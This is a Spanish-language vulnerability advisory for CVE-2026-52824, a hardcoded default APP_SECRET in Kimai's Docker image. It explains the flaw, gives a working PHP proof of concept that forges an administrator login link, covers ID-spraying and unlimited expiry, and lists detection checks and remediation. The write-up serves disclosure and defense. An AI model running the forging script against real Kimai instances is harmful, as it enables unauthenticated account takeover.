
Análisis técnico y PoC de CVE-2026-52824: APP_SECRET predeterminado en la imagen Docker de Kimai que permite la falsificación de enlaces de inicio de sesión sin autenticación. Afecta a <= 2.57.0, corregido en 2.58.0.
| Campo | Valor |
|---|
| CVE | CVE-2026-52824 |
| Aviso | GHSA-jr9p-4h4j-6c58 |
| Gravedad | Crítica |
| CWE | CWE-1188, Inicialización de un recurso con un valor predeterminado inseguro |
| Afectado | kimai/kimai <= 2.57.0 |
| Corregido | 2.58.0 |
| Aviso publicado | 2026-06-11 |
| Añadido a la base de datos de avisos de GitHub | 2026-07-14 |
| Reportero | AzureADTrent |
La imagen oficial de Docker de Kimai se distribuía con un APP_SECRET fijo codificado (hardcoded). Ese valor se convierte en kernel.secret de Symfony, que firma los enlaces de inicio de sesión, las cookies de recordar sesión (remember-me), las URL de restablecimiento de contraseña y los tokens CSRF. Dado que la firma del enlace de inicio de sesión de Kimai cubría únicamente el id del usuario, un atacante no autenticado que conociera el secreto podía calcular un enlace de inicio de sesión válido sin conexión y autenticarse como cualquier usuario.
Dockerfile:263 establecía:
ENV APP_SECRET=change_this_to_something_unique
config/packages/framework.yaml:7 consume este valor como kernel.secret:
secret: '%env(APP_SECRET)%'
.docker/entrypoint.sh no realizaba ninguna comprobación del valor centinela, y .env.dist:38 incluía el mismo valor predeterminado para instalaciones en bare-metal. Ninguna salvaguarda de inicio impedía arrancar con el valor predeterminado.
Por lo tanto, cualquier despliegue Docker que no sobrescribiera explícitamente APP_SECRET se ejecutaba con una clave de firma públicamente conocida.
Kimai procesa el enlace de inicio de sesión en /en/auth/link/check con los parámetros user, expires y hash. El hash es el HMAC de 44 caracteres concatenado directamente con el hash de campos de 44 caracteres, de acuerdo con acceptSignatureHash(), que divide en el desplazamiento 44.
<?php
$secret = 'change_this_to_something_unique';
$username = 'admin';
$userId = 1;
$expires = time() + 360;
// signature_properties: ['id']
// $userId is passed as an int, mirroring what PropertyAccessor hands to
// base64_encode() upstream. Under declare(strict_types=1) this needs an
// explicit (string) cast; the coercion is what the framework itself relies on.
$ctx = hash_init('sha256');
hash_update($ctx, ':' . base64_encode($userId));
$fieldsHash = strtr(base64_encode(hash_final($ctx, true)), '+/=', '-_~');
// generateHash(fieldsHash:expires:userIdentifier)
$input = $fieldsHash . ':' . $expires . ':' . $username;
$signatureHash = strtr(base64_encode(hash_hmac('sha256', $input, $secret, true)), '+/=', '-_~');
$hash = $signatureHash . $fieldsHash;
$url = "/en/auth/link/check?user=" . urlencode($username)
. "&expires=" . $expires
. "&hash=" . $hash;
echo "Forged login link:\n$url\n";
Una solicitud correcta devuelve un 302 y establece una cookie KIMAI_REMEMBER para la cuenta objetivo.
expires está dentro del HMAC y es controlado por el atacante, y la validación solo rechaza marcas de tiempo ya pasadas: verifySignatureHash() comprueba $expires < time() y nada más. El lifetime: 900 configurado solo rige la generación del enlace y nunca se consulta durante la validación, por lo que un enlace falsificado puede llevar una caducidad arbitrariamente lejana.
max_uses: 3 es igualmente irrelevante. Limita la reutilización de un único enlace emitido; un atacante genera uno nuevo en cada intento.
El aviso enumera tres condiciones previas: que se conozca el nombre de usuario, que se acierte el ID de cuenta correcto y que la cuenta no tenga 2FA activo.
En la práctica, estas condiciones son débiles. Los IDs de usuario son secuenciales desde 1, el primer super_admin normalmente es el ID 1, y cada intento es una única GET no autenticada. El espacio de nombres de usuario y de IDs se puede atacar mediante spraying. La autenticación de dos factores es la única condición previa que bloquea el ataque de forma significativa.
Comprobaciones locales:
docker exec <container> printenv APP_SECRET
docker exec <container> cat /opt/kimai/.env.local
docker exec <container> ls -l /opt/kimai/var/data/.appsecret
Un APP_SECRET centinela sin que exista un archivo .appsecret indica un despliegue vulnerable.
Actualice a 2.58.0 o posterior. La corrección:
APP_SECRET predeterminado del Dockerfilebin2hex(random_bytes(32)), lo almacena en /opt/kimai/var/data/.appsecret y lo escribe en /opt/kimai/.env.localSi no puede actualizar de inmediato, establezca explícitamente un secreto único de alta entropía:
docker run -e APP_SECRET=$(openssl rand -hex 32) ...
Rotar APP_SECRET invalida las cookies remember-me existentes, los enlaces de restablecimiento de contraseña pendientes y los tokens CSRF en curso; los usuarios tendrán que volver a iniciar sesión. La rotación y la invalidación de sesiones se pueden realizar de forma segura tanto si se puede confirmar la exposición como si no. Los operadores que no puedan determinar su estado deberían rotar en lugar de asumir.
projectdiscovery/nuclei-templatesEste informe se mantuvo en espera hasta que el mecanismo se hizo público de forma independiente.